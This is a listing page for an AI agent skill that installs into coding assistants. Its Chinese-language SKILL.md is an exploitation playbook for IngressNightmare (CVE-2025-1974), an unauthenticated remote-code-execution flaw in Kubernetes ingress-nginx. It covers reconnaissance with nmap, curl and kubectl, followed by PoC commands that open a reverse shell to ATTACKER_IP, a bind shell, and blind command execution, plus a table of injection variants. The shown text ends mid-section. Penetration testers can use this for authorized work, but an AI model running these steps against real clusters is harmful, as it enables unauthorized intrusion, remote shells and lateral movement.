# K8S Ingress Nightmare

IngressNightmare (CVE-2025-1974), Kubernetes Ingress-NGINX Admission Controller 未授权...

- Repository: https://github.com/wgpsec/AboutSecurity (1833 stars)
- Category: Security
- License: see repository
- Last updated: 2026-10-24
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add wgpsec/AboutSecurity --skill k8s-ingress-nightmare -g -a claude-code -y`
Codex: `npx skills add wgpsec/AboutSecurity --skill k8s-ingress-nightmare -g -a codex -y`
Cursor: `npx skills add wgpsec/AboutSecurity --skill k8s-ingress-nightmare -g -a cursor -y`
Gemini CLI: `npx skills add wgpsec/AboutSecurity --skill k8s-ingress-nightmare -g -a gemini-cli -y`

## Description

IngressNightmare (CVE-2025-1974), Kubernetes Ingress-NGINX Admission Controller 未授权 RCE。当目标 K8s 集群使用 ingress-nginx、发现 443/8443 端口的 admission webhook、或通过 Pod 网络可达 admission controller 时使用。涵盖漏洞原理、利用条件判断、PoC 使用、后续横向移动。

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# IngressNightmare, CVE-2025-1974

Ingress-NGINX Admission Controller 未授权 RCE 漏洞链（CVSSv3 9.8），无需任何 K8s 凭据即可从 Pod 网络远程执行任意代码。

## ⛔ 深入参考（必读）

- 漏洞原理与利用细节 → [references/exploit-details.md](references/exploit-details.md)

---

## 漏洞概述

IngressNightmare 是一组**漏洞链**（CVE-2025-24514 / CVE-2025-1097 / CVE-2025-1098 / CVE-2025-1974），攻击者通过两步实现 RCE：

1. 向 NGINX 发送大请求，使其缓存为临时文件（`/tmp/` 下可预测路径）
2. 向 Admission Webhook 发送恶意 `AdmissionReview`，注入 `ssl_engine` 指令加载恶意 `.so`
3. Webhook 运行 `nginx -t` 检查配置时触发代码执行

## Phase 1: 前置条件确认

### 1.1 确认目标使用 ingress-nginx
```bash
# 从集群外部
nmap -sV -p 443,8443,80 TARGET_IP
curl -sk https://TARGET_IP/ -I  # 看 Server 头是否包含 nginx

# 从 Pod 内部
kubectl get pods -n ingress-nginx 2>/dev/null
kubectl get svc -n ingress-nginx 2>/dev/null
env | grep -i ingress
```

### 1.2 定位 Admission Webhook
```bash
# Admission webhook 默认监听 8443 端口
# 从 Pod 网络内部探测
INGRESS_SVC=$(kubectl get svc -n ingress-nginx -o jsonpath='{.items[0].spec.clusterIP}' 2>/dev/null)
curl -sk https://${INGRESS_SVC}:8443/networking/v1/ingresses

# 也可以直接探测 Pod IP
kubectl get pods -n ingress-nginx -o wide 2>/dev/null
```

### 1.3 定位 NGINX Uploader（请求缓存端点）
```bash
# NGINX 监听在 80/443，需要能向其发送大请求
# uploader 就是 ingress-nginx 的 HTTP 入口
UPLOADER="http://${INGRESS_SVC}:80"
# 或直接用 Pod IP
UPLOADER="http://POD_IP:80"
```

## Phase 2: 利用

### 2.1 使用 ingressNightmare PoC

```bash
# 反弹 shell（最常用）
ingressnightmare -m r -r ATTACKER_IP -p 4444 -i https://INGRESS:8443 -u http://UPLOADER:80

# 绑定 shell
ingressnightmare -m b -b 9999 -i https://INGRESS:8443 -u http://UPLOADER:80

# 盲执行命令
ingressnightmare -m c -c 'id > /tmp/pwn' -i https://INGRESS:8443 -u http://UPLOADER:80
```

### 2.2 注入变体选择

| 注入方式 | 参数 | CVE |
|----------|------|-----|
| auth-url（默认） | `--is-auth-url` | CVE-2025-24514 |
| auth-tls-match-cn | `--is-match-cn --auth-secret-name NAME` | CVE-2025-1097 |
| mirror UID | `--is-mirror-uid` | CVE-2025-1098 |

### 2.3 目标架构不匹配处理

The rest: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/cloud/k8s-ingress-nightmare/SKILL.md
